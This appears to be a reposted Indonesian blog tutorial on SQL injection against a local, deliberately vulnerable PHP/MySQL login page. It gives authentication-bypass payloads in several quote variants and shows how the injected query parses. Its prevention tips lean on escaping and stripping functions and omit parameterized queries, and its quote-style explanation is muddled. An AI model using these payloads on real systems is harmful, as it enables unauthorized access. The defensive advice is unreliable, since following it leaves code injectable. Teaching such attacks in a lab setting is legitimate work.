Sunday 22 May 2016

Contoh Penerapan SQL Inject pada PHP dan MySql

SQL injection mengacu pada tindakan seseorang memasukkan pernyataan SQL untuk dijalankan pada database tanpa sepengetahuan kita. Injeksi biasanya terjadi ketika kita meminta pengguna untuk input data, seperti nama atau password mereka. dan bukannya nama, tapi mereka memberikan pernyataan SQL bahwa kita tidak sadar pernyataan SQL tersebut akan berjalan pada database kita.
Download Contoh Halaman Login
Cara Penggunaan
  1. Download contoh form login yang akan di injection
  2. Import database db_injection.sql.zip via phpmyadmin
  3. Copy folder web_injection ke dalam folder htdocs
  4. Buka halaman register untuk mendaftarkan admin baru dengan alamat URL  http://localhost/web_injection/register.php
  5. Buka halaman login dengan alamat URL http://localhost/web_injection/index.php
Query Login yang digunakan
  • Jika kemungkinan query menggunakan awalan kutip satu ‘, maka inject dengan kutip dua. contoh querynya sebagai berikut : $query=select * from admin where username=”‘.$username.’” and password=MD5(“‘.$password.’”);
  • Jika kemungkinan query menggunakan awalan kutip dua “, maka inject dengan kutip satu. contoh querynya berikut : $query=select * from admin where username=’$username’ and password=MD5(‘$password’);
Cara Injection
  1.  Buka halaman login dengan URL http://localhost/web_injection/index.php
  2. Masukan username admin’ /*
  3. Masukan password hacked’)*/ OR (’1′=’1
Injection username dan password
  • Jika kemungkinan query menggunakan kutip satu, maka inject dengan kutip dua, menggunakan Username : admin” /* Password : hacked”)*/ OR (“1″=”1
  • Jika kemungkinan query menggunakan kutip dua, maka inject dengan kutip satu. menggunakan Username : admin’ /* Password : hacked’)*/ OR (’1′=’1
Query inject
select * from admin where username=’ admin’ /* ‘ and password=MD5(‘ hacked’)*/ OR (’1′=’1 ‘)
Menggunakan teknik comment
select * from admin where username=’admin’ /*’ and password=MD5(‘hacked’)*/ OR (’1′=’1′)
Parsing Query setelah di inject
select * from `admin` where `username`=’admin‘ OR (’1′=’1′)
Output
Berhasil Login
Password Salah
1
Cara Mencegah SQL Injection 
  1. Menggunakan fungsi PHP mysql_real_escape_string(), htmlentities(), htmlspecialchars(), strip_tags(), stripslashes(), mysql_escape_string(), get_magic_quotes_gpc() dan addslashes()
  2. Membatasi panjang input box.
  3. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
  4. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
Referensi
Sekian artikel dari saya semoga bermanfaat untuk teman-teman dan anda semua…aamiin
copas from https://lekkomputer.wordpress.com